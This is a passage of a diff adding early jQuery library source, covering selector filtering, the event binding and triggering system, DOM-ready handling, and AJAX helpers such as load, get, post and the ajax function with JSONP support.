+		done = jQuery.merge( done, ret );
+
+		return done;
+	},
+
+	classFilter: function(r,m,not){
+		m = " " + m + " ";
+		var tmp = [];
+		for ( var i = 0; r[i]; i++ ) {
+			var pass = (" " + r[i].className + " ").indexOf( m ) >= 0;
+			if ( !not && pass || not && !pass )
+				tmp.push( r[i] );
+		}
+		return tmp;
+	},
+
+	filter: function(t,r,not) {
+		var last;
+
+		// Look for common filter expressions
+		while ( t && t != last ) {
+			last = t;
+
+			var p = jQuery.parse, m;
+
+			for ( var i = 0; p[i]; i++ ) {
+				m = p[i].exec( t );
+
+				if ( m ) {
+					// Remove what we just matched
+					t = t.substring( m[0].length );
+
+					m[2] = m[2].replace(/\\/g, "");
+					break;
+				}
+			}
+
+			if ( !m )
+				break;
+
+			// :not() is a special case that can be optimized by
+			// keeping it out of the expression list
+			if ( m[1] == ":" && m[2] == "not" )
+				// optimize if only one selector found (most common case)
+				r = isSimple.test( m[3] ) ?
+					jQuery.filter(m[3], r, true).r :
+					jQuery( r ).not( m[3] );
+
+			// We can get a big speed boost by filtering by class here
+			else if ( m[1] == "." )
+				r = jQuery.classFilter(r, m[2], not);
+
+			else if ( m[1] == "[" ) {
+				var tmp = [], type = m[3];
+				
+				for ( var i = 0, rl = r.length; i < rl; i++ ) {
+					var a = r[i], z = a[ jQuery.props[m[2]] || m[2] ];
+					
+					if ( z == null || /href|src|selected/.test(m[2]) )
+						z = jQuery.attr(a,m[2]) || '';
+
+					if ( (type == "" && !!z ||
+						 type == "=" && z == m[5] ||
+						 type == "!=" && z != m[5] ||
+						 type == "^=" && z && !z.indexOf(m[5]) ||
+						 type == "$=" && z.substr(z.length - m[5].length) == m[5] ||
+						 (type == "*=" || type == "~=") && z.indexOf(m[5]) >= 0) ^ not )
+							tmp.push( a );
+				}
+				
+				r = tmp;
+
+			// We can get a speed boost by handling nth-child here
+			} else if ( m[1] == ":" && m[2] == "nth-child" ) {
+				var merge = {}, tmp = [],
+					// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
+					test = /(-?)(\d*)n((?:\+|-)?\d*)/.exec(
+						m[3] == "even" && "2n" || m[3] == "odd" && "2n+1" ||
+						!/\D/.test(m[3]) && "0n+" + m[3] || m[3]),
+					// calculate the numbers (first)n+(last) including if they are negative
+					first = (test[1] + (test[2] || 1)) - 0, last = test[3] - 0;
+ 
+				// loop through all the elements left in the jQuery object
+				for ( var i = 0, rl = r.length; i < rl; i++ ) {
+					var node = r[i], parentNode = node.parentNode, id = jQuery.data(parentNode);
+
+					if ( !merge[id] ) {
+						var c = 1;
+
+						for ( var n = parentNode.firstChild; n; n = n.nextSibling )
+							if ( n.nodeType == 1 )
+								n.nodeIndex = c++;
+
+						merge[id] = true;
+					}
+
+					var add = false;
+
+					if ( first == 0 ) {
+						if ( node.nodeIndex == last )
+							add = true;
+					} else if ( (node.nodeIndex - last) % first == 0 && (node.nodeIndex - last) / first >= 0 )
+						add = true;
+
+					if ( add ^ not )
+						tmp.push( node );
+				}
+
+				r = tmp;
+
+			// Otherwise, find the expression to execute
+			} else {
+				var fn = jQuery.expr[ m[1] ];
+				if ( typeof fn == "object" )
+					fn = fn[ m[2] ];
+
+				if ( typeof fn == "string" )
+					fn = eval("false||function(a,i){return " + fn + ";}");
+
+				// Execute it against the current filter
+				r = jQuery.grep( r, function(elem, i){
+					return fn(elem, i, m, r);
+				}, not );
+			}
+		}
+
+		// Return an array of filtered elements (r)
+		// and the modified expression string (t)
+		return { r: r, t: t };
+	},
+
+	dir: function( elem, dir ){
+		var matched = [];
+		var cur = elem[dir];
+		while ( cur && cur != document ) {
+			if ( cur.nodeType == 1 )
+				matched.push( cur );
+			cur = cur[dir];
+		}
+		return matched;
+	},
+	
+	nth: function(cur,result,dir,elem){
+		result = result || 1;
+		var num = 0;
+
+		for ( ; cur; cur = cur[dir] )
+			if ( cur.nodeType == 1 && ++num == result )
+				break;
+
+		return cur;
+	},
+	
+	sibling: function( n, elem ) {
+		var r = [];
+
+		for ( ; n; n = n.nextSibling ) {
+			if ( n.nodeType == 1 && (!elem || n != elem) )
+				r.push( n );
+		}
+
+		return r;
+	}
+});
+
+/*
+ * A number of helper functions used for managing events.
+ * Many of the ideas behind this code orignated from 
+ * Dean Edwards' addEvent library.
+ */
+jQuery.event = {
+
+	// Bind an event to an element
+	// Original by Dean Edwards
+	add: function(elem, types, handler, data) {
+		if ( elem.nodeType == 3 || elem.nodeType == 8 )
+			return;
+
+		// For whatever reason, IE has trouble passing the window object
+		// around, causing it to be cloned in the process
+		if ( jQuery.browser.msie && elem.setInterval != undefined )
+			elem = window;
+
+		// Make sure that the function being executed has a unique ID
+		if ( !handler.guid )
+			handler.guid = this.guid++;
+			
+		// if data is passed, bind to handler 
+		if( data != undefined ) { 
+			// Create temporary function pointer to original handler 
+			var fn = handler; 
+
+			// Create unique handler function, wrapped around original handler 
+			handler = function() { 
+				// Pass arguments and context to original handler 
+				return fn.apply(this, arguments); 
+			};
+
+			// Store data in unique handler 
+			handler.data = data;
+
+			// Set the guid of unique handler to the same of original handler, so it can be removed 
+			handler.guid = fn.guid;
+		}
+
+		// Init the element's event structure
+		var events = jQuery.data(elem, "events") || jQuery.data(elem, "events", {}),
+			handle = jQuery.data(elem, "handle") || jQuery.data(elem, "handle", function(){
+				// returned undefined or false
+				var val;
+
+				// Handle the second event of a trigger and when
+				// an event is called after a page has unloaded
+				if ( typeof jQuery == "undefined" || jQuery.event.triggered )
+					return val;
+		
+				val = jQuery.event.handle.apply(arguments.callee.elem, arguments);
+		
+				return val;
+			});
+		// Add elem as a property of the handle function
+		// This is to prevent a memory leak with non-native
+		// event in IE.
+		handle.elem = elem;
+			
+			// Handle multiple events seperated by a space
+			// jQuery(...).bind("mouseover mouseout", fn);
+			jQuery.each(types.split(/\s+/), function(index, type) {
+				// Namespaced event handlers
+				var parts = type.split(".");
+				type = parts[0];
+				handler.type = parts[1];
+
+				// Get the current list of functions bound to this event
+				var handlers = events[type];
+
+				// Init the event handler queue
+				if (!handlers) {
+					handlers = events[type] = {};
+		
+					// Check for a special event handler
+					// Only use addEventListener/attachEvent if the special
+					// events handler returns false
+					if ( !jQuery.event.special[type] || jQuery.event.special[type].setup.call(elem) === false ) {
+						// Bind the global event handler to the element
+						if (elem.addEventListener)
+							elem.addEventListener(type, handle, false);
+						else if (elem.attachEvent)
+							elem.attachEvent("on" + type, handle);
+					}
+				}
+
+				// Add the function to the element's handler list
+				handlers[handler.guid] = handler;
+
+				// Keep track of which events have been used, for global triggering
+				jQuery.event.global[type] = true;
+			});
+		
+		// Nullify elem to prevent memory leaks in IE
+		elem = null;
+	},
+
+	guid: 1,
+	global: {},
+
+	// Detach an event or set of events from an element
+	remove: function(elem, types, handler) {
+		// don't do events on text and comment nodes
+		if ( elem.nodeType == 3 || elem.nodeType == 8 )
+			return;
+
+		var events = jQuery.data(elem, "events"), ret, index;
+
+		if ( events ) {
+			// Unbind all events for the element
+			if ( types == undefined || (typeof types == "string" && types.charAt(0) == ".") )
+				for ( var type in events )
+					this.remove( elem, type + (types || "") );
+			else {
+				// types is actually an event object here
+				if ( types.type ) {
+					handler = types.handler;
+					types = types.type;
+				}
+				
+				// Handle multiple events seperated by a space
+				// jQuery(...).unbind("mouseover mouseout", fn);
+				jQuery.each(types.split(/\s+/), function(index, type){
+					// Namespaced event handlers
+					var parts = type.split(".");
+					type = parts[0];
+					
+					if ( events[type] ) {
+						// remove the given handler for the given type
+						if ( handler )
+							delete events[type][handler.guid];
+			
+						// remove all handlers for the given type
+						else
+							for ( handler in events[type] )
+								// Handle the removal of namespaced events
+								if ( !parts[1] || events[type][handler].type == parts[1] )
+									delete events[type][handler];
+
+						// remove generic event handler if no more handlers exist
+						for ( ret in events[type] ) break;
+						if ( !ret ) {
+							if ( !jQuery.event.special[type] || jQuery.event.special[type].teardown.call(elem) === false ) {
+								if (elem.removeEventListener)
+									elem.removeEventListener(type, jQuery.data(elem, "handle"), false);
+								else if (elem.detachEvent)
+									elem.detachEvent("on" + type, jQuery.data(elem, "handle"));
+							}
+							ret = null;
+							delete events[type];
+						}
+					}
+				});
+			}
+
+			// Remove the expando if it's no longer used
+			for ( ret in events ) break;
+			if ( !ret ) {
+				var handle = jQuery.data( elem, "handle" );
+				if ( handle ) handle.elem = null;
+				jQuery.removeData( elem, "events" );
+				jQuery.removeData( elem, "handle" );
+			}
+		}
+	},
+
+	trigger: function(type, data, elem, donative, extra) {
+		// Clone the incoming data, if any
+		data = jQuery.makeArray(data || []);
+
+		if ( type.indexOf("!") >= 0 ) {
+			type = type.slice(0, -1);
+			var exclusive = true;
+		}
+
+		// Handle a global trigger
+		if ( !elem ) {
+			// Only trigger if we've ever bound an event for it
+			if ( this.global[type] )
+				jQuery("*").add([window, document]).trigger(type, data);
+
+		// Handle triggering a single element
+		} else {
+			// don't do events on text and comment nodes
+			if ( elem.nodeType == 3 || elem.nodeType == 8 )
+				return undefined;
+
+			var val, ret, fn = jQuery.isFunction( elem[ type ] || null ),
+				// Check to see if we need to provide a fake event, or not
+				event = !data[0] || !data[0].preventDefault;
+			
+			// Pass along a fake event
+			if ( event )
+				data.unshift( this.fix({ type: type, target: elem }) );
+
+			// Enforce the right trigger type
+			data[0].type = type;
+			if ( exclusive )
+				data[0].exclusive = true;
+
+			// Trigger the event
+			if ( jQuery.isFunction( jQuery.data(elem, "handle") ) )
+				val = jQuery.data(elem, "handle").apply( elem, data );
+
+			// Handle triggering native .onfoo handlers
+			if ( !fn && elem["on"+type] && elem["on"+type].apply( elem, data ) === false )
+				val = false;
+
+			// Extra functions don't get the custom event object
+			if ( event )
+				data.shift();
+
+			// Handle triggering of extra function
+			if ( extra && jQuery.isFunction( extra ) ) {
+				// call the extra function and tack the current return value on the end for possible inspection
+				ret = extra.apply( elem, val == null ? data : data.concat( val ) );
+				// if anything is returned, give it precedence and have it overwrite the previous value
+				if (ret !== undefined)
+					val = ret;
+			}
+
+			// Trigger the native events (except for clicks on links)
+			if ( fn && donative !== false && val !== false && !(jQuery.nodeName(elem, 'a') && type == "click") ) {
+				this.triggered = true;
+				try {
+					elem[ type ]();
+				// prevent IE from throwing an error for some hidden elements
+				} catch (e) {}
+			}
+
+			this.triggered = false;
+		}
+
+		return val;
+	},
+
+	handle: function(event) {
+		// returned undefined or false
+		var val;
+
+		// Empty object is for triggered events with no data
+		event = jQuery.event.fix( event || window.event || {} ); 
+
+		// Namespaced event handlers
+		var parts = event.type.split(".");
+		event.type = parts[0];
+
+		var handlers = jQuery.data(this, "events") && jQuery.data(this, "events")[event.type], args = Array.prototype.slice.call( arguments, 1 );
+		args.unshift( event );
+
+		for ( var j in handlers ) {
+			var handler = handlers[j];
+			// Pass in a reference to the handler function itself
+			// So that we can later remove it
+			args[0].handler = handler;
+			args[0].data = handler.data;
+
+			// Filter the functions by class
+			if ( !parts[1] && !event.exclusive || handler.type == parts[1] ) {
+				var ret = handler.apply( this, args );
+
+				if ( val !== false )
+					val = ret;
+
+				if ( ret === false ) {
+					event.preventDefault();
+					event.stopPropagation();
+				}
+			}
+		}
+
+		// Clean up added properties in IE to prevent memory leak
+		if (jQuery.browser.msie)
+			event.target = event.preventDefault = event.stopPropagation =
+				event.handler = event.data = null;
+
+		return val;
+	},
+
+	fix: function(event) {
+		// store a copy of the original event object 
+		// and clone to set read-only properties
+		var originalEvent = event;
+		event = jQuery.extend({}, originalEvent);
+		
+		// add preventDefault and stopPropagation since 
+		// they will not work on the clone
+		event.preventDefault = function() {
+			// if preventDefault exists run it on the original event
+			if (originalEvent.preventDefault)
+				originalEvent.preventDefault();
+			// otherwise set the returnValue property of the original event to false (IE)
+			originalEvent.returnValue = false;
+		};
+		event.stopPropagation = function() {
+			// if stopPropagation exists run it on the original event
+			if (originalEvent.stopPropagation)
+				originalEvent.stopPropagation();
+			// otherwise set the cancelBubble property of the original event to true (IE)
+			originalEvent.cancelBubble = true;
+		};
+		
+		// Fix target property, if necessary
+		if ( !event.target )
+			event.target = event.srcElement || document; // Fixes #1925 where srcElement might not be defined either
+				
+		// check if target is a textnode (safari)
+		if ( event.target.nodeType == 3 )
+			event.target = originalEvent.target.parentNode;
+
+		// Add relatedTarget, if necessary
+		if ( !event.relatedTarget && event.fromElement )
+			event.relatedTarget = event.fromElement == event.target ? event.toElement : event.fromElement;
+
+		// Calculate pageX/Y if missing and clientX/Y available
+		if ( event.pageX == null && event.clientX != null ) {
+			var doc = document.documentElement, body = document.body;
+			event.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc.clientLeft || 0);
+			event.pageY = event.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc.clientTop || 0);
+		}
+			
+		// Add which for key events
+		if ( !event.which && ((event.charCode || event.charCode === 0) ? event.charCode : event.keyCode) )
+			event.which = event.charCode || event.keyCode;
+		
+		// Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs)
+		if ( !event.metaKey && event.ctrlKey )
+			event.metaKey = event.ctrlKey;
+
+		// Add which for click: 1 == left; 2 == middle; 3 == right
+		// Note: button is not normalized, so don't use it
+		if ( !event.which && event.button )
+			event.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) ));
+			
+		return event;
+	},
+	
+	special: {
+		ready: {
+			setup: function() {
+				// Make sure the ready event is setup
+				bindReady();
+				return;
+			},
+			
+			teardown: function() { return; }
+		},
+		
+		mouseenter: {
+			setup: function() {
+				if ( jQuery.browser.msie ) return false;
+				jQuery(this).bind("mouseover", jQuery.event.special.mouseenter.handler);
+				return true;
+			},
+		
+			teardown: function() {
+				if ( jQuery.browser.msie ) return false;
+				jQuery(this).unbind("mouseover", jQuery.event.special.mouseenter.handler);
+				return true;
+			},
+			
+			handler: function(event) {
+				// If we actually just moused on to a sub-element, ignore it
+				if ( withinElement(event, this) ) return true;
+				// Execute the right handlers by setting the event type to mouseenter
+				arguments[0].type = "mouseenter";
+				return jQuery.event.handle.apply(this, arguments);
+			}
+		},
+	
+		mouseleave: {
+			setup: function() {
+				if ( jQuery.browser.msie ) return false;
+				jQuery(this).bind("mouseout", jQuery.event.special.mouseleave.handler);
+				return true;
+			},
+		
+			teardown: function() {
+				if ( jQuery.browser.msie ) return false;
+				jQuery(this).unbind("mouseout", jQuery.event.special.mouseleave.handler);
+				return true;
+			},
+			
+			handler: function(event) {
+				// If we actually just moused on to a sub-element, ignore it
+				if ( withinElement(event, this) ) return true;
+				// Execute the right handlers by setting the event type to mouseleave
+				arguments[0].type = "mouseleave";
+				return jQuery.event.handle.apply(this, arguments);
+			}
+		}
+	}
+};
+
+jQuery.fn.extend({
+	bind: function( type, data, fn ) {
+		return type == "unload" ? this.one(type, data, fn) : this.each(function(){
+			jQuery.event.add( this, type, fn || data, fn && data );
+		});
+	},
+	
+	one: function( type, data, fn ) {
+		return this.each(function(){
+			jQuery.event.add( this, type, function(event) {
+				jQuery(this).unbind(event);
+				return (fn || data).apply( this, arguments);
+			}, fn && data);
+		});
+	},
+
+	unbind: function( type, fn ) {
+		return this.each(function(){
+			jQuery.event.remove( this, type, fn );
+		});
+	},
+
+	trigger: function( type, data, fn ) {
+		return this.each(function(){
+			jQuery.event.trigger( type, data, this, true, fn );
+		});
+	},
+
+	triggerHandler: function( type, data, fn ) {
+		if ( this[0] )
+			return jQuery.event.trigger( type, data, this[0], false, fn );
+		return undefined;
+	},
+
+	toggle: function() {
+		// Save reference to arguments for access in closure
+		var args = arguments;
+
+		return this.click(function(event) {
+			// Figure out which function to execute
+			this.lastToggle = 0 == this.lastToggle ? 1 : 0;
+			
+			// Make sure that clicks stop
+			event.preventDefault();
+			
+			// and execute the function
+			return args[this.lastToggle].apply( this, arguments ) || false;
+		});
+	},
+
+	hover: function(fnOver, fnOut) {
+		return this.bind('mouseenter', fnOver).bind('mouseleave', fnOut);
+	},
+	
+	ready: function(fn) {
+		// Attach the listeners
+		bindReady();
+
+		// If the DOM is already ready
+		if ( jQuery.isReady )
+			// Execute the function immediately
+			fn.call( document, jQuery );
+			
+		// Otherwise, remember the function for later
+		else
+			// Add the function to the wait list
+			jQuery.readyList.push( function() { return fn.call(this, jQuery); } );
+	
+		return this;
+	}
+});
+
+jQuery.extend({
+	isReady: false,
+	readyList: [],
+	// Handle when the DOM is ready
+	ready: function() {
+		// Make sure that the DOM is not already loaded
+		if ( !jQuery.isReady ) {
+			// Remember that the DOM is ready
+			jQuery.isReady = true;
+			
+			// If there are functions bound, to execute
+			if ( jQuery.readyList ) {
+				// Execute all of them
+				jQuery.each( jQuery.readyList, function(){
+					this.apply( document );
+				});
+				
+				// Reset the list of functions
+				jQuery.readyList = null;
+			}
+		
+			// Trigger any bound ready events
+			jQuery(document).triggerHandler("ready");
+		}
+	}
+});
+
+var readyBound = false;
+
+function bindReady(){
+	if ( readyBound ) return;
+	readyBound = true;
+
+	// Mozilla, Opera (see further below for it) and webkit nightlies currently support this event
+	if ( document.addEventListener && !jQuery.browser.opera)
+		// Use the handy event callback
+		document.addEventListener( "DOMContentLoaded", jQuery.ready, false );
+	
+	// If IE is used and is not in a frame
+	// Continually check to see if the document is ready
+	if ( jQuery.browser.msie && window == top ) (function(){
+		if (jQuery.isReady) return;
+		try {
+			// If IE is used, use the trick by Diego Perini
+			// http://javascript.nwbox.com/IEContentLoaded/
+			document.documentElement.doScroll("left");
+		} catch( error ) {
+			setTimeout( arguments.callee, 0 );
+			return;
+		}
+		// and execute any waiting functions
+		jQuery.ready();
+	})();
+
+	if ( jQuery.browser.opera )
+		document.addEventListener( "DOMContentLoaded", function () {
+			if (jQuery.isReady) return;
+			for (var i = 0; i < document.styleSheets.length; i++)
+				if (document.styleSheets[i].disabled) {
+					setTimeout( arguments.callee, 0 );
+					return;
+				}
+			// and execute any waiting functions
+			jQuery.ready();
+		}, false);
+
+	if ( jQuery.browser.safari ) {
+		var numStyles;
+		(function(){
+			if (jQuery.isReady) return;
+			if ( document.readyState != "loaded" && document.readyState != "complete" ) {
+				setTimeout( arguments.callee, 0 );
+				return;
+			}
+			if ( numStyles === undefined )
+				numStyles = jQuery("style, link[rel=stylesheet]").length;
+			if ( document.styleSheets.length != numStyles ) {
+				setTimeout( arguments.callee, 0 );
+				return;
+			}
+			// and execute any waiting functions
+			jQuery.ready();
+		})();
+	}
+
+	// A fallback to window.onload, that will always work
+	jQuery.event.add( window, "load", jQuery.ready );
+}
+
+jQuery.each( ("blur,focus,load,resize,scroll,unload,click,dblclick," +
+	"mousedown,mouseup,mousemove,mouseover,mouseout,change,select," + 
+	"submit,keydown,keypress,keyup,error").split(","), function(i, name){
+	
+	// Handle event binding
+	jQuery.fn[name] = function(fn){
+		return fn ? this.bind(name, fn) : this.trigger(name);
+	};
+});
+
+// Checks if an event happened on an element within another element
+// Used in jQuery.event.special.mouseenter and mouseleave handlers
+var withinElement = function(event, elem) {
+	// Check if mouse(over|out) are still within the same parent element
+	var parent = event.relatedTarget;
+	// Traverse up the tree
+	while ( parent && parent != elem ) try { parent = parent.parentNode; } catch(error) { parent = elem; }
+	// Return true if we actually just moused on to a sub-element
+	return parent == elem;
+};
+
+// Prevent memory leaks in IE
+// And prevent errors on refresh with events like mouseover in other browsers
+// Window isn't included so as not to unbind existing unload events
+jQuery(window).bind("unload", function() {
+	jQuery("*").add(document).unbind();
+});
+jQuery.fn.extend({
+	load: function( url, params, callback ) {
+		if ( jQuery.isFunction( url ) )
+			return this.bind("load", url);
+
+		var off = url.indexOf(" ");
+		if ( off >= 0 ) {
+			var selector = url.slice(off, url.length);
+			url = url.slice(0, off);
+		}
+
+		callback = callback || function(){};
+
+		// Default to a GET request
+		var type = "GET";
+
+		// If the second parameter was provided
+		if ( params )
+			// If it's a function
+			if ( jQuery.isFunction( params ) ) {
+				// We assume that it's the callback
+				callback = params;
+				params = null;
+
+			// Otherwise, build a param string
+			} else {
+				params = jQuery.param( params );
+				type = "POST";
+			}
+
+		var self = this;
+
+		// Request the remote document
+		jQuery.ajax({
+			url: url,
+			type: type,
+			dataType: "html",
+			data: params,
+			complete: function(res, status){
+				// If successful, inject the HTML into all the matched elements
+				if ( status == "success" || status == "notmodified" )
+					// See if a selector was specified
+					self.html( selector ?
+						// Create a dummy div to hold the results
+						jQuery("<div/>")
+							// inject the contents of the document in, removing the scripts
+							// to avoid any 'Permission Denied' errors in IE
+							.append(res.responseText.replace(/<script(.|\s)*?\/script>/g, ""))
+
+							// Locate the specified elements
+							.find(selector) :
+
+						// If not, just inject the full result
+						res.responseText );
+
+				self.each( callback, [res.responseText, status, res] );
+			}
+		});
+		return this;
+	},
+
+	serialize: function() {
+		return jQuery.param(this.serializeArray());
+	},
+	serializeArray: function() {
+		return this.map(function(){
+			return jQuery.nodeName(this, "form") ?
+				jQuery.makeArray(this.elements) : this;
+		})
+		.filter(function(){
+			return this.name && !this.disabled && 
+				(this.checked || /select|textarea/i.test(this.nodeName) || 
+					/text|hidden|password/i.test(this.type));
+		})
+		.map(function(i, elem){
+			var val = jQuery(this).val();
+			return val == null ? null :
+				val.constructor == Array ?
+					jQuery.map( val, function(val, i){
+						return {name: elem.name, value: val};
+					}) :
+					{name: elem.name, value: val};
+		}).get();
+	}
+});
+
+// Attach a bunch of functions for handling common AJAX events
+jQuery.each( "ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","), function(i,o){
+	jQuery.fn[o] = function(f){
+		return this.bind(o, f);
+	};
+});
+
+var jsc = (new Date).getTime();
+
+jQuery.extend({
+	get: function( url, data, callback, type ) {
+		// shift arguments if data argument was ommited
+		if ( jQuery.isFunction( data ) ) {
+			callback = data;
+			data = null;
+		}
+		
+		return jQuery.ajax({
+			type: "GET",
+			url: url,
+			data: data,
+			success: callback,
+			dataType: type
+		});
+	},
+
+	getScript: function( url, callback ) {
+		return jQuery.get(url, null, callback, "script");
+	},
+
+	getJSON: function( url, data, callback ) {
+		return jQuery.get(url, data, callback, "json");
+	},
+
+	post: function( url, data, callback, type ) {
+		if ( jQuery.isFunction( data ) ) {
+			callback = data;
+			data = {};
+		}
+
+		return jQuery.ajax({
+			type: "POST",
+			url: url,
+			data: data,
+			success: callback,
+			dataType: type
+		});
+	},
+
+	ajaxSetup: function( settings ) {
+		jQuery.extend( jQuery.ajaxSettings, settings );
+	},
+
+	ajaxSettings: {
+		global: true,
+		type: "GET",
+		timeout: 0,
+		contentType: "application/x-www-form-urlencoded",
+		processData: true,
+		async: true,
+		data: null,
+		username: null,
+		password: null,
+		accepts: {
+			xml: "application/xml, text/xml",
+			html: "text/html",
+			script: "text/javascript, application/javascript",
+			json: "application/json, text/javascript",
+			text: "text/plain",
+			_default: "*/*"
+		}
+	},
+	
+	// Last-Modified header cache for next request
+	lastModified: {},
+
+	ajax: function( s ) {
+		var jsonp, jsre = /=\?(&|$)/g, status, data;
+
+		// Extend the settings, but re-extend 's' so that it can be
+		// checked again later (in the test suite, specifically)
+		s = jQuery.extend(true, s, jQuery.extend(true, {}, jQuery.ajaxSettings, s));
+
+		// convert data if not already a string
+		if ( s.data && s.processData && typeof s.data != "string" )
+			s.data = jQuery.param(s.data);
+
+		// Handle JSONP Parameter Callbacks
+		if ( s.dataType == "jsonp" ) {
+			if ( s.type.toLowerCase() == "get" ) {
+				if ( !s.url.match(jsre) )
+					s.url += (s.url.match(/\?/) ? "&" : "?") + (s.jsonp || "callback") + "=?";
+			} else if ( !s.data || !s.data.match(jsre) )
+				s.data = (s.data ? s.data + "&" : "") + (s.jsonp || "callback") + "=?";
+			s.dataType = "json";
+		}
+
+		// Build temporary JSONP function
+		if ( s.dataType == "json" && (s.data && s.data.match(jsre) || s.url.match(jsre)) ) {
+			jsonp = "jsonp" + jsc++;
+
+			// Replace the =? sequence both in the query string and the data
+			if ( s.data )
+				s.data = (s.data + "").replace(jsre, "=" + jsonp + "$1");
+			s.url = s.url.replace(jsre, "=" + jsonp + "$1");
+
+			// We need to make sure
+			// that a JSONP style response is executed properly
+			s.dataType = "script";
+
+			// Handle JSONP-style loading
+			window[ jsonp ] = function(tmp){
+				data = tmp;
+				success();
+				complete();
+				// Garbage collect
+				window[ jsonp ] = undefined;
+				try{ delete window[ jsonp ]; } catch(e){}
+				if ( head )
+					head.removeChild( script );
+			};
+		}
+
+		if ( s.dataType == "script" && s.cache == null )
+			s.cache = false;
+
+		if ( s.cache === false && s.type.toLowerCase() == "get" ) {
+			var ts = (new Date()).getTime();
+			// try replacing _= if it is there
+			var ret = s.url.replace(/(\?|&)_=.*?(&|$)/, "$1_=" + ts + "$2");
+			// if nothing was replaced, add timestamp to the end
+			s.url = ret + ((ret == s.url) ? (s.url.match(/\?/) ? "&" : "?") + "_=" + ts : "");
+		}
+
+		// If data is available, append data to url for get requests
+		if ( s.data && s.type.toLowerCase() == "get" ) {
+			s.url += (s.url.match(/\?/) ? "&" : "?") + s.data;
+
+			// IE likes to send both get and post data, prevent this
+			s.data = null;
+		}
+
+		// Watch for a new set of requests
+		if ( s.global && ! jQuery.active++ )
+			jQuery.event.trigger( "ajaxStart" );
+
+		// If we're requesting a remote document
+		// and trying to load JSON or Script with a GET
+		if ( (!s.url.indexOf("http") || !s.url.indexOf("//")) && s.dataType == "script" && s.type.toLowerCase() == "get" ) {
+			var head = document.getElementsByTagName("head")[0];
+			var script = document.createElement("script");
+			script.src = s.url;
+			if (s.scriptCharset)
+				script.charset = s.scriptCharset;
+
+			// Handle Script loading
+			if ( !jsonp ) {
+				var done = false;
+
+				// Attach handlers for all browsers
+				script.onload = script.onreadystatechange = function(){
+					if ( !done && (!this.readyState || 
+							this.readyState == "loaded" || this.readyState == "complete") ) {
+						done = true;
+						success();
+						complete();
+						head.removeChild( script );
+					}
+				};
+			}
+
+			head.appendChild(script);
+
+			// We handle everything using the script element injection
+			return undefined;
+		}
+
+		var requestDone = false;
+
+		// Create the request object; Microsoft failed to properly
+		// implement the XMLHttpRequest in IE7, so we use the ActiveXObject when it is available
+		var xml = window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
+
+		// Open the socket
+		xml.open(s.type, s.url, s.async, s.username, s.password);
+
+		// Need an extra try/catch for cross domain requests in Firefox 3
+		try {
+			// Set the correct header, if data is being sent
+			if ( s.data )
+				xml.setRequestHeader("Content-Type", s.contentType);
+
+			// Set the If-Modified-Since header, if ifModified mode.
+			if ( s.ifModified )
+				xml.setRequestHeader("If-Modified-Since",
+					jQuery.lastModified[s.url] || "Thu, 01 Jan 1970 00:00:00 GMT" );
+
+			// Set header so the called script knows that it's an XMLHttpRequest
+			xml.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+
+			// Set the Accepts header for the server, depending on the dataType
+			xml.setRequestHeader("Accept", s.dataType && s.accepts[ s.dataType ] ?
+				s.accepts[ s.dataType ] + ", */*" :
+				s.accepts._default );
+		} catch(e){}
+
+		// Allow custom headers/mimetypes
+		if ( s.beforeSend )
+			s.beforeSend(xml);
+			
+		if ( s.global )
+			jQuery.event.trigger("ajaxSend", [xml, s]);
+
+		// Wait for a response to come back
+		var onreadystatechange = function(isTimeout){
+			// The transfer is complete and the data is available, or the request timed out
+			if ( !requestDone && xml && (xml.readyState == 4 || isTimeout == "timeout") ) {
+				requestDone = true;
+				
+				// clear poll interval
+				if (ival) {
+					clearInterval(ival);
+					ival = null;
+				}
+				
+				status = isTimeout == "timeout" && "timeout" ||
+					!jQuery.httpSuccess( xml ) && "error" ||
+					s.ifModified && jQuery.httpNotModified( xml, s.url ) && "notmodified" ||
+					"success";
+
+				if ( status == "success" ) {
+					// Watch for, and catch, XML document parse errors
+					try {
+						// process the data (runs the xml through httpData regardless of callback)
+						data = jQuery.httpData( xml, s.dataType );
+					} catch(e) {
+						status = "parsererror";
+					}
+				}
+
+				// Make sure that the request was successful or notmodified
+				if ( status == "success" ) {
+					// Cache Last-Modified header, if ifModified mode.
+					var modRes;
+					try {
+						modRes = xml.getResponseHeader("Last-Modified");
+					} catch(e) {} // swallow exception thrown by FF if header is not available
+	
+					if ( s.ifModified && modRes )
+						jQuery.lastModified[s.url] = modRes;
+
+					// JSONP handles its own success callback
+					if ( !jsonp )
+						success();	
+				} else
+					jQuery.handleError(s, xml, status);
+
+				// Fire the complete handlers
+				complete();
+
+				// Stop memory leaks
+				if ( s.async )
+					xml = null;
+			}
+		};
+		
+		if ( s.async ) {
+			// don't attach the handler to the request, just poll it instead
+			var ival = setInterval(onreadystatechange, 13); 
+
+			// Timeout checker
+			if ( s.timeout > 0 )
+				setTimeout(function(){
+					// Check to see if the request is still happening
+					if ( xml ) {
+						// Cancel the request
+						xml.abort();
+	
+						if( !requestDone )
+							onreadystatechange( "timeout" );
+					}
+				}, s.timeout);
+		}
+			
+		// Send the data
+		try {
+			xml.send(s.data);
+		} catch(e) {
+			jQuery.handleError(s, xml, null, e);
+		}
+		
+		// firefox 1.5 doesn't fire statechange for sync requests
+		if ( !s.async )
+			onreadystatechange();
+
+		function success(){
+			// If a local callback was specified, fire it and pass it the data
+			if ( s.success )
+				s.success( data, status );
+
+			// Fire the global callback
+			if ( s.global )
+				jQuery.event.trigger( "ajaxSuccess", [xml, s] );
+		}
+
+		function complete(){
+			// Process result
+			if ( s.complete )
+				s.complete(xml, status);
+
+			// The request was completed
+			if ( s.global )
+				jQuery.event.trigger( "ajaxComplete", [xml, s] );
+
+			// Handle the global AJAX counter
+			if ( s.global && ! --jQuery.active )
+				jQuery.event.trigger( "ajaxStop" );
+		}
+		
+		// return XMLHttpRequest to allow aborting the request etc.
+		return xml;
+	},
+
+	handleError: function( s, xml, status, e ) {
+		// If a local callback was specified, fire it
+		if ( s.error ) s.error( xml, status, e );
+
+		// Fire the global callback
